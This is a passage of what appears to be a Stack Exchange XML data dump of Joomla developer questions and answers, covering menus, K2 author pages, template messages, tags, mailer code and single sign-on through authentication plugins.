LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-08-21T15:24:40.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12276" PostTypeId="1" AcceptedAnswerId="12277" CreationDate="2015-08-22T02:23:13.210" Score="0" ViewCount="549" Body="&lt;p&gt;I'm fairly new to Joomla and have a site with some menu troubles. My header menu looks as follows&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Menu1&lt;/li&gt;&#xA;&lt;li&gt;Menu2&lt;/li&gt;&#xA;&lt;li&gt;Menu3&lt;/li&gt;&#xA;&lt;li&gt;Menu4&lt;/li&gt;&#xA;&lt;li&gt;Menu5&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying to set it up so that the menu across the top of the page displays all 5 elements. However, on the left side of the page, hides &lt;code&gt;Menu2&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the &lt;code&gt;Left Menu&lt;/code&gt; module, I selected &lt;code&gt;Exclude&lt;/code&gt; under &lt;code&gt;Assignments&lt;/code&gt; and selected the Menu2 element. However, it still appears on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I misunderstanding how to hide elements of a menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5599" LastActivityDate="2015-08-22T03:53:40.163" Title="Menus: hiding left sidebar menu items, leaving main menu intact" Tags="|module|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12277" PostTypeId="2" ParentId="12276" CreationDate="2015-08-22T03:53:40.163" Score="1" Body="&lt;p&gt;I think you're misunderstanding the point of Menu Assignments. It's not a way to hide menu items, it's used to control &lt;strong&gt;where a particular module will be displayed or hidden&lt;/strong&gt;. Based on the settings you mention above, if you click the &lt;code&gt;menu2&lt;/code&gt; item, the &lt;code&gt;Left Menu&lt;/code&gt; module will probably not be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to hide a particular menu &lt;em&gt;item&lt;/em&gt; from the left menu, the simplest way is to use CSS. Without any code it's hard to say exactly how, but you have to find a way to target &lt;em&gt;only&lt;/em&gt; your &lt;code&gt;menu2&lt;/code&gt; item, and hide it. Often, the menu items in Joomla uses the menu ID as class, and your HTML code could look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;li class=&quot;item132 &quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;item&quot; href=&quot;/menu2&quot;&amp;gt;Menu 2 item&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that's the case, you can hide the menu item by adding this line to your CSS code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li.item132 { display:none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-08-22T03:53:40.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12279" PostTypeId="1" AcceptedAnswerId="12310" CreationDate="2015-08-22T19:23:55.947" Score="1" ViewCount="1679" Body="&lt;p&gt;as title goes, I'm trying to disable the Author page functionality from K2. Simply put I don't want any available author links in articles nor the possibility to access author pages. &#xA;On this last point I want to be more specific: even if I disable all possible showing options of authors from the K2 configs, be it menu, category etc.. the author url is &lt;strong&gt;still&lt;/strong&gt; reachable, with urls like &lt;code&gt;domain.com/category/authors/123-authorname&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I disable all this? How can I have something like standard Joomla article author where there is only a text printed and no profile page linked to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no PHP expert but digging in the code of the K2 component, it looks like it's directly embedded in the CCK functionalities with no direct option to disable it, am I wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;br&gt;&#xA;In the main config options of K2 I've alreaddy disabled the &quot;Enable K2 User Plugin&quot; option, and set to hide to any possible option in the &quot;Layout &amp;amp; view options for user (author) pages&quot;, still the authors pages are available and possible to reach even with no links pointing to them in the whole website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the last version of K2 and Joomla! 3.4.1.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My answer resolve the problem in a reasonable way. Tho as stated in my answer, instead of the Joomla! or custom template &lt;code&gt;error.php&lt;/code&gt; page is served a basic Apache 404 page.&lt;br&gt; How can this be done via .htaccess redirecting to the template error page? Better to do a PHP redirect? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can find a similar option to redirect with a 404 to the custom template 404 page I will update as correct answer.&lt;/p&gt;&#xA;" OwnerUserId="5650" LastEditorUserId="5650" LastEditDate="2015-08-25T13:27:48.477" LastActivityDate="2015-08-25T15:33:30.800" Title="Is it possible to disable the Author profile in K2?" Tags="|k2|user|profile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12280" PostTypeId="2" ParentId="12244" CreationDate="2015-08-22T19:38:31.610" Score="1" Body="&lt;p&gt;Apparently there's no built in way to achieve this, but I've found a very nice etension from the famous NoNumber developper, precisely &lt;a href=&quot;https://www.nonumber.nl/extensions/advancedtemplatemanager&quot; rel=&quot;nofollow&quot;&gt;Advanced Template Manager&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can suggest a native way of doing so please let me know!&lt;/p&gt;&#xA;" OwnerUserId="5650" LastActivityDate="2015-08-22T19:38:31.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12281" PostTypeId="2" ParentId="10555" CreationDate="2015-08-23T15:36:27.717" Score="2" Body="&lt;p&gt;You can use .htaccess In joomla with apache rewrite feature. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Rename the file htaccess.txt to .htaccess In root joomla folder;&lt;/li&gt;&#xA;&lt;li&gt;Enable Apache rewrite In global configuration In joomla admin area. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-08-23T15:36:27.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12283" PostTypeId="1" AcceptedAnswerId="12328" CreationDate="2015-08-23T21:35:36.083" Score="3" ViewCount="2639" Body="&lt;p&gt;I have Joomla 3.4.3 with the standard protostar template for the frontend. When my site is offline and I'm logging into the frontend (not the adminstrator backend), then I can browse and edit articles.&lt;/p&gt;&#xA;&lt;p&gt;When I try to save the article by clicking the &lt;em&gt;Save&lt;/em&gt; button, nothing happens. The &lt;em&gt;Cancel&lt;/em&gt; button does work. On further inspection I found out that there is an&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Uncaught TypeError: Cannot read property 'isValid' of null&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;that is thrown at the outer &lt;code&gt;if&lt;/code&gt; condition&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.submitbutton = function(task)&#xA;{&#xA;    if (task == 'article.cancel' ||&#xA;        document.formvalidator.isValid(document.getElementById('adminForm')))&#xA;    {&#xA;        if (tinyMCE.get(&amp;quot;jform_articletext&amp;quot;).isHidden()) {tinyMCE.get(&amp;quot;jform_articletext&amp;quot;).show()};&#xA;        Joomla.submitform(task);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried finding some solution or related issues, but the only thing that turned up between the &lt;em&gt;clear you browser cache&lt;/em&gt; kind of noise was this old issue in an akeeba bug report:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/akeeba/fof/issues/199&quot; rel=&quot;nofollow noreferrer&quot;&gt;Formvalidation broken in Joomla 3.2.rc1 #199&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Any ideas what I can do to fix the issue?&lt;/p&gt;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&lt;p&gt;It seems that this issue only affects my &amp;quot;About me&amp;quot; article, which is the default article you see when you navigate to my site. Other articles don't seem to have this problem and I can save them from within the front-end.&lt;/p&gt;&#xA;" OwnerUserId="220" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-10-08T21:33:13.977" Title="Frontend &quot;Save&quot; button not working" Tags="|front-end|bugs|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12284" PostTypeId="2" ParentId="12252" CreationDate="2015-08-23T21:36:59.193" Score="2" Body="&lt;p&gt;On the module you should create a dispatcher in its save method like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher = JEventDispatcher::getInstance();&#xA;$dispatcher-&amp;gt;trigger( 'onAfterMyModuleSave', array( $myModuleData, $insertid ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can include any kind of data that you would like to handle in your plugin with an array like the example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then at your plugin you have to create a &quot;listener&quot; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterMyModuleSave($data, $id)&#xA;{&#xA;  //do what you like here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course I recommend you first to check for any existing dispatchers in the module&lt;/p&gt;&#xA;" OwnerUserId="4011" LastActivityDate="2015-08-23T21:36:59.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12285" PostTypeId="1" CreationDate="2015-08-23T23:02:56.027" Score="2" ViewCount="697" Body="&lt;p&gt;I want to access a component variable (a simple array) from a module without using session (no persistence across page loads necessary in my case), JRequest/JInput, global, plugin nor model.&#xA;Is it possible to use JDocumentHTML's setBuffer/getBuffer something like below?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my my_component_view.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc =&amp;amp; JFactory::getDocument();&#xA;$doc-&amp;gt;setBuffer( implode(&quot;,&quot;,$cat_lists), 'module', 'my_cat_lists' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in my_module_view.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc =&amp;amp; JFactory::getDocument();&#xA;$buffer = $doc-&amp;gt;getBuffer('module', 'my_cat_lists');        &#xA;$cat_lists = explode(&quot;,&quot;,$buffer);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a hacky workaround though. Wonder what would be the best approach.&lt;/p&gt;&#xA;" OwnerUserId="5694" LastActivityDate="2015-08-23T23:02:56.027" Title="How to access a component variable from a module?" Tags="|joomla-3.x|component|module|jfactory|jdocument|" AnswerCount="0" CommentCount="6" ClosedDate="2015-10-29T18:21:24.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="12286" PostTypeId="1" AcceptedAnswerId="12290" CreationDate="2015-08-24T07:35:29.277" Score="1" ViewCount="245" Body="&lt;p&gt;For our latest Joomla-Projects, I extended the &lt;strong&gt;&lt;em&gt;com_content&lt;/em&gt;&lt;/strong&gt; component with custom fields using the following documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I did not use &lt;code&gt;params&lt;/code&gt; as field name, but &lt;code&gt;attributes&lt;/code&gt;, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;attribs&quot; &amp;gt;&#xA;        &amp;lt;fieldset name=&quot;site1&quot; label=&quot;Client Name&quot;&amp;gt;&#xA;            &amp;lt;field name.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the template, I can access these fields with ease:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attr = json_decode($article-&amp;gt;attribs);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything is working fine so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, this method has one big downside. If I use other plugins/components for instance, galleries, that require shortcode inside the editor (such as: &lt;code&gt;{gallery id=&quot;2&quot;}&lt;/code&gt;), which gets replaced by the actual gallery when loading the page, it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page simply shows the shortcode &lt;code&gt;{gallery id=&quot;2&quot;}&lt;/code&gt;, as the gallery content plugin does not parse the custom field (no plugin does...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I enable the parsing by content-plugins for these fields?&lt;/p&gt;&#xA;" OwnerUserId="5783" LastEditorUserId="126" LastEditDate="2015-08-24T12:38:52.857" LastActivityDate="2015-08-24T12:38:52.857" Title="Running content plugins for a custom editor type field in com_content" Tags="|plugin|com-content|custom-field|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12287" PostTypeId="1" CreationDate="2015-08-24T09:04:26.027" Score="3" ViewCount="1379" Body="&lt;p&gt;I would like to render Joomla messages inside a component Template because the index.php doesn't fit my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I simulate &lt;code&gt;&amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&lt;/code&gt; inside &lt;code&gt;/templates/&amp;lt;tmpl&amp;gt;/html/com_content/article/default.php&lt;/code&gt; for example.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2015-08-24T09:08:38.060" LastActivityDate="2016-01-18T09:37:03.687" Title="Render Joomla messages inside a template" Tags="|templates|error-reporting|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12288" PostTypeId="2" ParentId="12287" CreationDate="2015-08-24T09:08:26.713" Score="4" Body="&lt;p&gt;One way to do this is to use JDocument::getBuffer('message');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in html/com_content/article/default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo $this-&amp;gt;document-&amp;gt;getBuffer('message')&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will also clear the message buffer.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2015-08-24T09:08:26.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12289" PostTypeId="2" ParentId="12287" CreationDate="2015-08-24T09:44:19.423" Score="5" Body="&lt;p&gt;You could also override the default layout for system messages.&lt;/p&gt;&#xA;&lt;p&gt;To do so, copy the following file:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ROOT/layouts/joomla/system/message.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ROOT/templates/TEMPLATE_NAME/html/layouts/joomla/system/message.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;You can also use Joomla's &lt;code&gt;loadRenderer&lt;/code&gt; function in the component view.&lt;/p&gt;&#xA;&lt;p&gt;In the view file, add the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$document  = JFactory::getDocument();&#xA;$renderer  = $document-&amp;gt;loadRenderer('message');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then for a test, add the following to enqueue a message in the session:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$app-&amp;gt;enqueueMessage('test message');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then anywhere in your view, add the following to output the message:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$renderer-&amp;gt;render('message');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-08-24T11:27:21.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12290" PostTypeId="2" ParentId="12286" CreationDate="2015-08-24T10:38:14.620" Score="1" Body="&lt;p&gt;Have you tried to echo the attrbs content through the &lt;code&gt;JHTML content.prepare&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attrbs = json_decode($this-&amp;gt;item-&amp;gt;attribs);&#xA;&#xA;echo JHtml::_('content.prepare',$attrbs-&amp;gt;myfield);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-08-24T10:38:14.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12291" PostTypeId="1" AcceptedAnswerId="12293" CreationDate="2015-08-24T11:32:45.803" Score="0" ViewCount="114" Body="&lt;p&gt;Just like using &lt;code&gt;tmpl=component&lt;/code&gt; in a URL, I would like to change the &lt;code&gt;tmpl=&lt;/code&gt; in a system plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This, of course, does nothing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$app-&amp;gt;setTemplate('component', null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5787" LastEditorUserId="1629" LastEditDate="2015-08-24T14:12:29.247" LastActivityDate="2015-08-24T14:52:10.520" Title="Switch to tmpl=component in plugin code" Tags="|templates|system-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12293" PostTypeId="2" ParentId="12291" CreationDate="2015-08-24T14:52:10.520" Score="1" Body="&lt;p&gt;If you want to mimic something being set from the URL, you should push it into JInput:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$jinput-&amp;gt;set('tmpl', 'component');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All code that runs after your plugin will see &lt;code&gt;tmpl=component&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-08-24T14:52:10.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12294" PostTypeId="1" CreationDate="2015-08-24T15:57:50.280" Score="2" ViewCount="367" Body="&lt;p&gt;I would like to use the tagging-function of Joomla! in my component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get that working I created a postflight which is being executed after installation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function postflight($type, $parent)&#xA;{&#xA;    $table = JTable::getInstance('Contenttype', 'JTable');&#xA;    if(!$table-&amp;gt;load(array('type_alias' =&amp;gt; 'com_bestia.item')))&#xA;    {&#xA;        $common = new stdClass;&#xA;        $common-&amp;gt;core_content_item_id = 'id';&#xA;        $common-&amp;gt;core_title = 'title';&#xA;        $common-&amp;gt;core_state = 'state';&#xA;        $common-&amp;gt;core_alias = 'alias';&#xA;        $common-&amp;gt;core_created_time = 'created';&#xA;        $common-&amp;gt;core_modified_time = 'modified';&#xA;        $common-&amp;gt;core_body = 'description';&#xA;        $common-&amp;gt;core_hits = 'hits';&#xA;        $common-&amp;gt;core_publish_up = 'publish_up';&#xA;        $common-&amp;gt;core_publish_down = 'publish_down';&#xA;        $common-&amp;gt;core_access = 'access';&#xA;        $common-&amp;gt;core_params = 'params';&#xA;        $common-&amp;gt;core_featured = 'featured';&#xA;        $common-&amp;gt;core_metadata   = 'metadata';&#xA;        $common-&amp;gt;core_language   = 'language';&#xA;        $common-&amp;gt;core_images = 'images';&#xA;        $common-&amp;gt;core_urls = 'urls';&#xA;        $common-&amp;gt;core_version = 'version';&#xA;        $common-&amp;gt;core_ordering   = 'ordering';&#xA;        $common-&amp;gt;core_metakey = 'metakey';&#xA;        $common-&amp;gt;core_metadesc = 'metadesc';&#xA;        $common-&amp;gt;core_catid = 'catid';&#xA;        $common-&amp;gt;core_xreference = 'xreference';&#xA;        $common-&amp;gt;asset_id = null;&#xA;        $field_mappings = new stdClass;&#xA;        $field_mappings-&amp;gt;common[] = $common;&#xA;        $field_mappings-&amp;gt;special = array();&#xA;        $special = new stdClass; $special-&amp;gt;dbtable = '#__bestia_items'; $special-&amp;gt;key = 'id'; $special-&amp;gt;type = 'Item'; $special-&amp;gt;prefix = 'BestiaTable'; $special-&amp;gt;config = 'array()';&#xA;        $table_object = new stdClass;&#xA;        $table_object-&amp;gt;special = $special;&#xA;        $contenttype['type_title'] = 'Item';&#xA;        $contenttype['type_alias'] = 'com_bestia.item';&#xA;        $contenttype['table'] = json_encode($table_object);&#xA;        $contenttype['rules'] = '';&#xA;        $contenttype['router'] = 'BestiaHelperRoute::getBestiaRoute';&#xA;        $contenttype['field_mappings'] = json_encode($field_mappings);&#xA;        $table-&amp;gt;save($contenttype);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also I modified my table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct(&amp;amp;$db)&#xA;{&#xA;    parent::__construct('#__bestia_items', 'id', $db);&#xA;    JTableObserverTags::createObserver($this, array('typeAlias' =&amp;gt; 'com_bestia.item'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * getItem function.&#xA; * &#xA; * @access public&#xA; * @param mixed $pk (default: null)&#xA; * @return void&#xA; */&#xA;public function getItem($pk = null)&#xA;{&#xA;    if ($item = parent::getItem($pk)) &#xA;    {&#xA;        // Convert the metadata field to an array.&#xA;        $registry                   =       new JRegistry;&#xA;&#xA;        if(isset($item-&amp;gt;metadata))&#xA;        {&#xA;            $registry-&amp;gt;loadString($item-&amp;gt;metadata);&#xA;            $item-&amp;gt;metadata         =       $registry-&amp;gt;toArray();&#xA;        }&#xA;&#xA;        if (!empty($item-&amp;gt;id))&#xA;        {&#xA;            $item-&amp;gt;tags             =       new JHelperTags;&#xA;            $item-&amp;gt;tags-&amp;gt;getTagIds($item-&amp;gt;id, 'com_bestia.item');&#xA;            $item-&amp;gt;metadata['tags'] =       $item-&amp;gt;tags;&#xA;        }           &#xA;    }&#xA;&#xA;    return $item;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I modified my form.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field  name        =       &quot;tags&quot; &#xA;            type        =       &quot;tag&quot;&#xA;            label       =       &quot;JTAG&quot; &#xA;            description =       &quot;JTAG_DESC&quot;&#xA;            class       =       &quot;inputbox span12 small&quot; &#xA;            multiple    =       &quot;true&quot;&#xA;            filter      =       &quot;safehtml&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if I want to save my item with some tags, I'm getting this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Speichern fehlgeschlagen! Fehler: SQLSTATE[42S22]: Column not found:&#xA;  1054 Unknown column 'newTags' in 'field list'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What can I do here?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-08-24T20:16:58.797" Title="Joomla 3.4.x: Tags are not saved" Tags="|php|joomla-3.4|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12295" PostTypeId="2" ParentId="12224" CreationDate="2015-08-24T16:14:05.543" Score="1" Body="&lt;p&gt;I have tested the case on sendgrid. It works OK with text or html mails.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $mailer = JFactory::getMailer();&#xA;    $config = JFactory::getConfig();&#xA;    $sender = array(&#xA;            $config-&amp;gt;get($this-&amp;gt;get('mail_sender_email')),&#xA;            $config-&amp;gt;get($this-&amp;gt;get('mail_sender_name'))&#xA;    );&#xA;    $mailer-&amp;gt;setSender($sender);        &#xA;    $mailer-&amp;gt;isHtml(false); // Or, true&#xA;    $mailer-&amp;gt;SetFrom($sender_mail, $sender_name);&#xA;    $mailer-&amp;gt;AddAddress($recipient_mail);&#xA;    $mailer-&amp;gt;Subject = 'A Subject';&#xA;    $mailer-&amp;gt;Body = '&amp;lt;p&amp;gt;Body&amp;lt;/p&amp;gt;';&#xA;    $mailer-&amp;gt;Send();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess you should have some incompatibility with mailtrap.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-08-25T12:12:57.800" LastActivityDate="2015-08-25T12:12:57.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12296" PostTypeId="1" CreationDate="2015-08-24T16:49:16.727" Score="1" ViewCount="1301" Body="&lt;p&gt;Thank you in advance for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating a &quot;Single Sign On&quot; for a Joomla site and have reached the final stages.  The user is providing a username &amp;amp; password to authenticate with a 3rd party database other than the database Joomla uses so we are not actually logging anyone in who does not provide a username and password (all of our users create their accounts on our main website which is not a Joomla website).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been able to log a user in who authenticated on our main website by using the function mentioned (onUserLogin) in this question asked on Stack Exchange: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4149/logging-in-user-without-getting-password-from-them&quot; title=&quot;Logging in user without getting password from them&quot;&gt;joomla.stackexchange.com/questions/4149/logging-in-user-without-getting-password-from-them&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a function called onUserLogin mentioned in that question and this function allows me to log in the user.  I think the function onUserLogin is logging the user in based on the username on the account, but I need to log them in based on a unique &quot;company id&quot; we setup and is available in the user table in Joomla (we added an additional field to the user table).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am hoping someone might be able to do is let me know how I need to change the function to use the custom field we added vs the username (if it is in fact using the username at this time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again for any help you can provide.  &lt;/p&gt;&#xA;" OwnerUserId="5788" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-01-02T11:41:42.020" Title="Login user by Username without getting password" Tags="|joomla-3.x|login|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12297" PostTypeId="2" ParentId="12296" CreationDate="2015-08-24T17:20:32.107" Score="1" Body="&lt;p&gt;The best way to integrate a different authentication method is creating a new &lt;strong&gt;authentication&lt;/strong&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is already several examples already installed in your Joomla site. You can find them in &lt;strong&gt;plugins/authentication&lt;/strong&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PlgAuthenticationJoomla is the default plugin. But you can choose any of them to create your own &quot;Single Sign On&quot; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a detailed article in Joomla Docs: &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;Creating an Authentication Plugin for Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-24T17:20:32.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12299" PostTypeId="1" CreationDate="2015-08-24T18:12:29.623" Score="1" ViewCount="153" Body="&lt;p&gt;I have very many actions in my sections of the access.xml file of my component. So that means a long list of permissions. I want to categorize them with some more surrounding text. Here is how it looks now (sorry for the size but I need you to get the idea)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&amp;gt;&#xA;&amp;lt;access component=&quot;com_learningmanager&quot;&amp;gt;&#xA;    &amp;lt;section name=&quot;component&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;core.admin&quot; title=&quot;JACTION_ADMIN&quot; description=&quot;JACTION_ADMIN_COMPONENT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.options&quot; title=&quot;JACTION_OPTIONS&quot; description=&quot;JACTION_OPTIONS_COMPONENT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.manage&quot; title=&quot;JACTION_MANAGE&quot; description=&quot;JACTION_MANAGE_COMPONENT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.export&quot; title=&quot;COM_LEARNINGMANAGER_EXPORT_DATA&quot; 